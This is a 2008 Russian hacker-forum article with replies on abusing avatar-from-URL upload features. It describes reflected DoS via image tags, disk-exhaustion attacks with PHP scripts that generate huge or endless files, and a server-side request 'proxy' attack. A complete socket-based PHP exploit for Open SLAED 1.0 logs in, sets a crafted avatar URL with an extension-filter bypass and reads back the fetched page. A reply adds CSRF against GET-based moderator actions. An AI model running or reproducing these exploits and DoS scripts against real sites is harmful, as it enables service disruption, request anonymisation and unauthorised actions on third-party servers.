Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Csrf-уязвимости при загрузке удалённых файлов на сервер. (https://forum.antichat.xyz/showthread.php?t=70137)

Kuzya 13.05.2008 08:26

Csrf-уязвимости при загрузке удалённых файлов на сервер.
 
В данной статье я хочу поговорить о CSRF-уязвимостях которые могут быть обнаружены в
различных движках при загрузке файлов на сервер не с компьютера пользователя а со стороннего
сайта. Подобных уязвимостей было найдено довольно много в очень популярных скриптах, таких как
WordPress и phpBB, но до сих пор к ним относятся как к чему-то бесполезному. Но во многих движках имеются условия при которых можно пойти намного дальше.
Разберём всё на примере аватаров. На многих движках/сайтах/форумах пользователи могут
загружать свои аватары не только из галереи или своего ПК но и со сторонних сайтов. Для этого
нужно лишь указать адрес нужной картинки. При указании аватара как URL на стороннем сайте может
произойти 2 вещи:
1. В поле аватара запишется что то типа <img src='указанный_путь'>.
2. Сервер пройдёт по указанному URL и загрузит нужное изображение, сохранив его у себя.
Рассмотрим несколько вариаций атак которые можно произвести с помощью таких функций.

DOS-атака на сторонний сайт.
При обоих вариантах, если отсутствует должная фильтрация передаваемых пользователями URL,
злоумышленник может вызывать произвольные GET-запросы на сторонние сайты. С помощью этого
он может использовать уязвимый сайт как площадку для DOS-атак на какой-либо сервер страдающий
SQL-injection вызываемой GET-методом(DOS через BENCHMARK). В первом случае как атакующие
будут выступать пользователи просмотревшие страничку с этим аватаром, во втором — сервер, ведь
он будет вызывать необходимые действия при попытке загрузки картинки с указанного URL.
Естественно вариант со вписыванием URL в тег <img> намного продуктивнее. Самое интересное
здесь то что и в первом и во втором случаях на атакованном сервере будет записан IP не взломщика а либо пользователей, либо сервера.

DDOS Self
Такой вариант атак возможен только если скрипт загрузки файлов не проверяет их размер. Даже если скрипт после загрузки обнаружит что это не изображение и удалит файл то атака всё равно состоится. Суть здесь в том что бы заставить сервер загрузить к себе файл огромных размеров. Этот файл может быть чем угодно, главное что бы он занимал как можно больше места — хоть 1 Тб (хотя чаше всего достаточно лимита памяти выделяемого для PHP, это ~25-30мб). Для генерации таких файлов не нужно ничего выдумывать или копипастом выстраивать их в блокноте =) Можно просто использовать следующий скрипт на PHP:

Код:

<?php
ini_set("max_execution_time",0);
$size = 100000000;// Размер в байтах
$content = "";
for($i = 0; $i < $size; $i++)
{
$content .= "A";
}
$f = fopen('file.jpg','w');
fwrite($f,$content);
fclose($f);
?>

Если же вдруг Вам понадобиться отправить в отказ сервер, размер винчестера у которого больше
вашего, то можете запрашивать не уже готовый файл а вызвать запрос к скрипту который будет
бесконечно генерировать эти символы. Таким образом вы сразу убьёте двух зайцев — в пакете ответа от сервера не будет содержаться размер файла и для генерации даже гигабайтных файлов можно будет использовать не очень мощный компьютер потому что соединение будет держаться пока либо не оборвётся из-за проблем со связью, либо пока файл не сгенерируется до конца. Вот пример такого скрипта:

Код:

<?php
@ini_set("max_execution_time",0);
header('Content-type: image/jpeg');
$size = 100000000;// Размер в байтах (100mb)
for($i = 0; $i < $size; $i++)
{
print "A";
}
?>

Заголовок здесь устанавливается на тот случай если скрипт сначала произведёт head-запрос и
проверит из его результата тип получаемого файла. Хотя такие проверки я не встречал ни разу.
Больший эффект может доставить несколько сотен таких запросов на получение файлов гигантского
или бесконечного (за место for(...) - while(true) что бы файл генерировался без конца) объёма — это очень сильно забьёт канал, но это уже из раздела мистики =).

Proxy Emitation
Данный вариант атак возможен если сервер не проверяет тип загруженного файла или
проверяет но всё равно оставляет загруженную информацию у себя. При таких атаках нападающий
заставляет сервер загрузить содержимое произвольного URL к себе, а потом просто обращается к
сохранённому документу получая таким образом результат совершённого сервером GET-запроса.
Для лучшего понимания рассмотрим подобную уязвимость в Open SLAED 1.0. Я установил его
на хост «slaed» в денвере. Вам желательно установить его на тот же хост, дабы избежать путаницы.
Зарегистрируем нового пользователя и пройдём в редактирование профиля. В разделе «Настройки
аватара», в поле «Загрузить аватар по ссылке» укажем любой хост (например http://localhost/index.php) и в конце URL сделаем следующую приписку: #image.jpg. Это нужно для обхода фильтрации по расширению.
Теперь жмите на «сохранить изменения» и пройдите в папку [директория_slaed]/uploads/avatars/.
Здесь лежат аватары загруженные пользователям. В этой директории должен появиться новый файл
с произвольно генерированным именем типа «5-15waSfiKQ3.jpg». Если Вы откроете его в текстовом
редакторе то обнаружите внутри html-код страницы которую Вы указали как аватар. Получается что
сервер уже можно использовать как прокси для GET-запросов. Вот и сама суть «Proxy Emitation».
Естественно нам здесь не обойтись без эксплойта т.к. в ручную проделывать подобные
операции не очень хочется. Для начала подумаем что же наш эксплоит должен делать:
1. Авторизироваться на сайте.
2. Обновлять профиль.
3. Читать содержимое получившегося файла.
Всё это писать лучше на PHP и в браузерном варианте потому что полученный html-код нужно будет
отобразить =). Для работы с http мы будем использовать сокеты. Сейчас мы поэтапно реализуем нашу идею. Начнём с авторизации. Для начала нам нужно определить несколько обязательных
переменных. А именно:
1. Хост с установленным slaed
2. Порт
3. Директорию
4. Нужный нам URL на который нужно будет отправить запрос
5. Логин пользователя и пароль
У меня для этих переменных определены следующие значения:

Код:

$host = "slaed";
$port = 80;
$dir = "/";
$need_url = "http://phpBB3/index.php";
$login = "WT";
$password = "exploit";

Теперь реализация авторизации пользователя. Для того что бы войти на сайт модулю account нужно
передать 2 параметра — user_name и user_password POST-методом. В коде это будет выглядеть так:

Код:

$in = ""; # Текст запроса
$out = ""; # Ответ от сервера
$cookies = ""; # Куки
# Определяем длинну передаваемого контента для поля Content-Length
$params = "user_name={$login}&user_password={$password}&op=login";
$content_size = strlen($params);
# POST-запрос на авторизацию
$socket = fsockopen($host,$port);
$in .= "POST {$dir}index.php?name=account HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "Content-Type: application/x-www-form-urlencoded\r\n";
$in .= "Cookie: lang=russian;\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Content-Length: {$content_size}\r\n";
$in .= "Connection: Close\r\n\r\n";
$in .= $params;
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
}
fclose($socket);

После выполнения этого кода в переменную $out будет помещён ответ сервера. Единственное что
нам нужно от него — cookies. Для этого можно использовать обычное регулярное выражение:

Код:

$matches = Array();
preg_match_all("#Set-Cookie:(.*?)=(.*?);#s",$out,$matches);
if(!$matches[2][1]) die("Login failed!");
$session = $matches[1][0]."=".$matches[2][0];
$user_data = $matches[1][1]."=".$matches[2][1];
# Помещаем в $cookies полученную информацию
$cookies = $session."; ".$user_data.";";

После работы функции preg_match_all() в ячейке $matches[1][0] будет храниться имя сессии а в
$matches[2][0] — идентификатор. В $matches[1][1] — имя куков пользовательской информации, ну и
в $matches[2]1] — логин, пароль и id пользователя в base64. Эту информацию мы в итоге
объединяем в переменной $cookies и у нас получается готовая строка куков. Теперь мы сможем
включать её в любой запрос и всегда будем авторизированы.
Следующим шагом нам нужно послать запрос на изменение аватара, указав как URL для
загрузки нужный нам источник:

Код:

# Обновляем профиль
# Обнуляем старое содержимое запроса и ответа
$in = "";
$out = "";
$content = "
------------X4B06AurV6QlvznREFWDn2
Content-Disposition: form-data; name=\"userfile\"; filename=\"\"
------------X4B06AurV6QlvznREFWDn2
Content-Disposition: form-data; name=\"sitefile\"
{$need_url}#image.png
------------X4B06AurV6QlvznREFWDn2
Content-Disposition: form-data; name=\"op\"
saveavatar
------------X4B06AurV6QlvznREFWDn2--
";
$content_size = strlen($content);
$socket = fsockopen($host,$port);
$in .= "POST {$dir}index.php?name=account HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "Content-Type: multipart/form-data; boundary=----------X4B06AurV6QlvznREFWDn2\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Cookie: lang=russian; {$cookies}\r\n";
$in .= "Content-Length: {$content_size}\r\n";
$in .= "Connection: Close\r\n\r\n";
$in .= $content;
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
} fclose($socket);

Всё, запрос отослан. Сервер прошёл по указанному адресу и сохранил содержимое в отдельном
файле с расширением «.png». Теперь нам нужно лишь получить имя изображения. Для этого мы
просто обратимся к странице редактирования профиля и с помощью регулярного выражения
выдернем из неё то что нам нужно:

Код:

// Смотрим профиль, получаем имя аватара
$in = "";
$out = "";
$socket = fsockopen($host,$port);
$in .= "GET {$dir}index.php?name=account&op=edithome HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Cookie: lang=russian; {$cookies}\r\n";
$in .= "Connection: Close\r\n\r\n";
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
} fclose($socket);
$matches = Array();
preg_match("#<img src=\"uploads/avatars/(.*?)\">#",$out,$matches);
$image = $matches[1];

Теперь в переменной $image лежит имя нового изображения. Всё готово для того что бы обратиться к нему и вывести полученную информацию на экран:

Код:

// Загружаем запрошенный контент
$in = "";
$out = "";
$socket = fsockopen($host,$port);
$in .= "GET {$dir}uploads/avatars/{$image} HTTP/1.1\r\n";
$in .= "Host: {$host}\r\n";
$in .= "User-Agent: Exploit for OpenSLAED 1.0 from White-Team\r\n";
$in .= "Cookie: lang=russian; {$cookies}\r\n";
$in .= "Connection: Close\r\n\r\n";
fwrite($socket, $in);
while (!feof($socket)) {
$out .= fgets($socket, 128);
} fclose($socket);
# Выводим то что запросил пользователь
print $out;

Теперь можно эксплоит протестировать. Обратимся к нему через браузер:

http://white-team.net/images/to_stat.jpg

Не идеал конечно, но мы выполнили то что хотели — получили со стороннего сервера информацию
при этом не оставив там свой IP. Если потратить побольше времени то можно дописать эксплоит так что бы он изменял все пути изображений/css-файлов на себя и грузил их, не превращая при этом вид страницы в то что указано выше на скриншоте.

Автор: Kuzya.
(с) White-Team(http://white-team.net), 2008.

+toxa+ 13.05.2008 09:30

Цитата:

Proxy Emitation
Автор знает толк в извращениях) Только вот смысла не вижу ни в ддосе (по моральным соображениям), ни в эмуляции прокси (по практическим)

geezer.code 13.05.2008 09:55

Цитата:

Сообщение от +toxa+
Автор знает толк в извращениях) Только вот смысла не вижу ни в ддосе (по моральным соображениям), ни в эмуляции прокси (по практическим)

ну да мы протев ДОСов и протев ДЕФЕЙСОВ (с)NO-FEAR))

а вот насчет прокси ... можно таким образом скомпрометировать сервер. или я ошибаюсь ?

+toxa+ 13.05.2008 10:41

Цитата:

Сообщение от geezer.code
ну да мы протев ДОСов и протев ДЕФЕЙСОВ (с)NO-FEAR))

да даж не в этом дело. ты путаешь личные принципами с принципами ачата
Цитата:

а вот насчет прокси ... можно таким образом скомпрометировать сервер. или я ошибаюсь ?
сервер взломал другой сервер?) терминаторы воюют в интернете?) тут скорее интерес, нежели практическое использование

несколько похожий концепт имхо
http://xss-proxy.sourceforge.net/

Kuzya 13.05.2008 11:48

Вы правы. Врят-ли кто-то будет применять такое широко на практике. Подобные атаки используются очень редко, и то для точечных нападений. Просто исследовательский интерес.

geezer.code 13.05.2008 12:06

Цитата:

Сообщение от +toxa+
несколько похожий концепт имхо
http://xss-proxy.sourceforge.net/

Особенно порадовала презентация ... доступно и по делу.
Концепт может и похожий... а вот реализация совершенно другая.

zerling 28.05.2008 07:49

По моему в статье не написано главного - о возможности выполнения ф-ций, доступных привилигерованным пользоватеям. Главное условие - чтобы эти ф-ции в движке вызывалась гет-запросом.
Допустим читает модератор чужую тему, и внизу есть ссылочка "стереть тему" http://forum.com/index.php?post=423434&delete, переходя по ссыле тема сразу стирается. И все, делаем аватар который ссылается на эту ссылу, когда модер прочтет ваш пост с этим аватаром, его браузер автоматически пройдет по ссыле... Правда ситуация вымышленная, и наверно движков где серьезные ф-ции выполняются одним гет-запросом раз-два и опчелся...

Kuzya 28.05.2008 16:48

Есть такое. Описано в другой моей статье. Такая бага была обнаружена например в Slaed

guest3297 18.06.2008 00:52

Цитата:

сервер взломал другой сервер?) терминаторы воюют в интернете?) тут скорее интерес, нежели практическое использование
бугога запощу на баш =)

devton 19.06.2008 14:14

Кузе, как всегда, зач0т всесторонний :)
он написал книжку, в которой собрал кучу простых и понятных вещей, которые реально пригождаются


Время: 21:32